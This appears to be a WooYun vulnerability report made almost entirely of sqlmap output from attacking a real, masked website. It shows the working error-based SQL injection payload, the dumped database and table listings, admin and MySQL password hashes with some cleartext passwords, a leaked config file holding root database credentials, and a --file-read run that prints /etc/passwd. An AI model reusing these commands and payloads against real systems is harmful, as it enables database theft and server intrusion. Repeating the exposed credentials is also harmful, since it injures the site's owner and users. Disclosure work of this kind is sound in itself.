WooYun.org

-g401905b\sqlmapproject-sqlmap-401905b>sqlmap.py -u "http://**.**.**.**/index.php?mod=article&category_id=22&article_id=37541" --dbs
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150815}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 10:19:21
[10:19:21] [INFO] resuming back-end DBMS 'mysql'
[10:19:21] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: category_id (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: mod=article&category_id=22 AND (SELECT 7199 FROM(SELECT COUNT(*),CONCAT(0x7178786271,(SELECT (ELT(7199=7199,1))),0x7171787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&article_id=37541
---
[10:19:22] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.3, Apache 2.2.4
back-end DBMS: MySQL 5.0
[10:19:22] [INFO] fetching database names
[10:19:22] [INFO] the SQL query used returns 8 entries
[10:19:22] [INFO] resumed: information_schema
[10:19:22] [INFO] resumed: bbs_heneng
[10:19:22] [INFO] resumed: clients
[10:19:22] [INFO] resumed: discuz
[10:19:22] [INFO] resumed: heneng
[10:19:22] [INFO] resumed: mysql
[10:19:22] [INFO] resumed: supesite
[10:19:22] [INFO] resumed: test
available databases [8]:
[*] bbs_heneng
[*] clients
[*] discuz
[*] heneng
[*] information_schema
[*] mysql
[*] supesite
[*] test
Database: heneng
+-------------------+---------+
| Table             | Entries |
+-------------------+---------+
| sellinfo          | 65593   |
| article_comment   | 42843   |
| article           | 33950   |
| message           | 4751    |
| agentinfo         | 4336    |
| member2           | 2269    |
| itemnews          | 1592    |
| member            | 1288    |
| product           | 1160    |
| zhaopin           | 919     |
| elist             | 249     |
| mag_message       | 217     |
| member_cert       | 192     |
| tushu             | 139     |
| mproduct_category | 116     |
| menu              | 83      |
| ads               | 79      |
| exhibition        | 73      |
| member_show       | 60      |
| nps               | 50      |
| henengvideo       | 43      |
| marticle          | 40      |
| product_category  | 35      |
| article_category  | 33      |
| member_project    | 30      |
| hedian            | 29      |
| director          | 27      |
| hedian2           | 25      |
| member_menu       | 23      |
| member_template   | 14      |
| test              | 14      |
| experts           | 13      |
| ad_category       | 10      |
| channel           | 9       |
| buyinfo           | 8       |
| filter            | 7       |
| magazine          | 4       |
| thesis            | 4       |
| bannel            | 3       |
| toupiao           | 3       |
| admin             | 2       |
| admin_groups      | 1       |
| customer          | 1       |
| dealer            | 1       |
| olorder           | 1       |
| tcategory         | 1       |
+-------------------+---------+
Database: supesite                  
+----------------------+---------+  
| Table                | Entries |  
+----------------------+---------+  
| supe_spaceitems      | 1579069 |  
| supe_spaceblogs      | 1556091 |  
| supe_spacecache      | 53617   |  
| supe_spacecache2     | 48256   |  
| supe_spacecache3     | 46842   |  
| supe_members         | 37138   |  
| supe_spacecache4     | 37093   |  
| supe_attachments     | 36366   |  
| supe_spacecomments   | 29888   |  
| supe_spacecache13    | 28549   |  
| supe_spacecache17    | 27770   |  
| supe_spacecache14    | 27538   |  
| supe_spacecache15    | 27023   |  
| supe_spacecache16    | 26970   |  
| supe_spacecache12    | 26795   |  
| supe_spacecache8     | 26731   |  
| supe_spacecache6     | 26248   |  
| supe_spacecache5     | 26239   |  
| supe_spacecache7     | 26215   |  
| supe_spacecache11    | 25754   |  
| supe_spacecache19    | 24915   |  
| supe_spacecache20    | 24660   |  
| supe_spacecache18    | 24616   |  
| supe_spacecache10    | 23342   |  
| supe_spacecache9     | 22610   |  
| supe_spacenews       | 19453   |  
| supe_spacetags       | 7054    |  
| supe_userspacefields | 6707    |  
| supe_userspaces      | 6707    |  
| supe_spacecache23    | 6153    |  
| supe_tags            | 4652    |  
| supe_spacecache22    | 3849    |  
| supe_spaceimages     | 3487    |  
| supe_rss             | 2589    |  
| supe_spacecache21    | 2267    |  
| supe_itemtypes       | 1588    |  
| supe_guestbooks      | 1075    |  
| supe_userlinks       | 1004    |  
| supe_groupitems      | 866     |  
| supe_groupuid        | 764     |  
| supe_friends         | 665     |  
| supe_userfields      | 541     |  
| supe_spacecache24    | 308     |  
| supe_reports         | 272     |  
| supe_tagcache_9      | 183     |  
| supe_favorites       | 179     |  
| supe_effects         | 178     |  
| supe_tagcache_7      | 163     |  
| supe_tagcache_d      | 161     |  
| supe_tagcache_f      | 160     |  
| supe_tagcache_3      | 159     |  
| supe_tagcache_4      | 157     |  
| supe_tagcache_6      | 153     |  
| supe_tagcache_5      | 152     |  
| supe_tagcache_2      | 151     |  
| supe_groupfields     | 150     |  
| supe_groups          | 150     |  
| supe_tagcache_e      | 150     |  
| supe_tagcache_0      | 148     |  
| supe_tagcache_a      | 145     |  
| supe_tagcache_b      | 144     |  
| supe_tagcache_1      | 142     |  
| supe_tagcache_8      | 138     |  
| supe_tagcache_c      | 135     |  
| supe_categories      | 119     |  
| supe_spacelinks      | 91      |  
| supe_settings        | 75      |  
| supe_cache_1         | 72      |  
| supe_cache_e         | 72      |  
| supe_cache_f         | 71      |  
| supe_cache_5         | 68      |  
| supe_cache_7         | 68      |  
| supe_cache_9         | 67      |  
| supe_cache_6         | 66      |  
| supe_cache_4         | 64      |  
| supe_cache_b         | 62      |  
| supe_cache_d         | 62      |  
| supe_cache_0         | 60      |  
| supe_cache_8         | 59      |  
| supe_cache_a         | 51      |  
| supe_blocks          | 50      |  
| supe_cache_c         | 50      |  
| supe_cache_2         | 48      |  
| supe_cache_3         | 46      |  
| supe_prefields       | 37      |  
| supe_customfields    | 31      |  
| supe_styles          | 22      |  
| supe_tracks          | 22      |  
| supe_crons           | 10      |  
| supe_usergroups      | 10      |  
| supe_channels        | 9       |  
| supe_robotitems      | 9       |  
| supe_robotmessages   | 9       |  
| supe_attachmenttypes | 7       |  
| supe_usercss         | 7       |  
| supe_robots          | 6       |  
| supe_announcements   | 4       |  
| supe_visitors        | 2       |  
+----------------------+---------+  
Database: heneng
Table: admin
[2 entries]
+----------------+----------------------------------+
| admin_username | admin_password                   |
+----------------+----------------------------------+
| ism            | 14ca6f79cc8071cef0235d02bf36ee17 |   ism88793
| admin          | 1be3924ef6785251e6ca2ac625dad8ed |
+----------------+----------------------------------+

database management system users [7]:
[*] 'discuz'@'localhost'
[*] 'heneng'@'localhost'
[*] 'mysql'@'localhost'
[*] 'root'@'**.**.**.**'
[*] 'root'@'**.**.**.**'
[*] 'root'@'localhost'
[*] 'wang'@'**.**.**.**'
database management system users password hashes:
[*] discuz [1]:
    password hash: *B085E56614DFB3DF10A282ACE192776DE8BB4FA4
    clear-text password: discuz
[*] heneng [1]:
    password hash: NULL
[*] mysql [1]:
    password hash: *6781874830042F50F83802EE8E616948158C28E4    heneng
[*] root [3]:
    password hash: *6E77A2A0D4056CF9F5209CEAC70A75EB7636C435     heneng
    password hash: *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA    mysql
    clear-text password: mysql
    password hash: NULL
[*] wang [1]:
    password hash: NULL

http://**.**.**.**/bbs/robots.txt
http://**.**.**.**/kehu/
http://**.**.**.**/includes/
http://**.**.**.**/kehu/
http://**.**.**.**/test/
Warning: Cannot modify header information - headers already sent by (output started at /data/www/heneng/test/index.php:1) in /data/www/heneng/test/index.php on line 35

<?php
 //mysql
$db_host='localhost';
$db_name='heneng';
$db_user='root';
$db_password='mysql';
?>

5-g401905b\sqlmapproject-sqlmap-401905b>sqlmap.py -u "http://**.**.**.**/index.php?mod=article&category_id=22&article_id=37541" --file-read /etc/passwd
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150815}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 10:45:20
[10:45:21] [INFO] resuming back-end DBMS 'mysql'
[10:45:21] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: category_id (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: mod=article&category_id=22 AND (SELECT 7199 FROM(SELECT COUNT(*),CONCAT(0x7178786271,(SELECT (ELT(7199=7199,1))),0x7171787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&article_id=37541
---
[10:45:22] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.3, Apache 2.2.4
back-end DBMS: MySQL 5.0
[10:45:22] [INFO] fingerprinting the back-end DBMS operating system
[10:45:22] [INFO] the back-end DBMS operating system is Linux
[10:45:22] [INFO] fetching file: '/etc/passwd'
[10:45:23] [WARNING] reflective value(s) found and filtering out
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
wang:x:500:500::/home/wang:/bin/bash
mysql:x:501:501::/var/lib/mysql:/sbin/nologin
test1:x:502:502::/home/test1:/bin/bash
xiemengj:x:503:500::/home/xiemengj:/bin/bash
keli:x:504:0::/data/www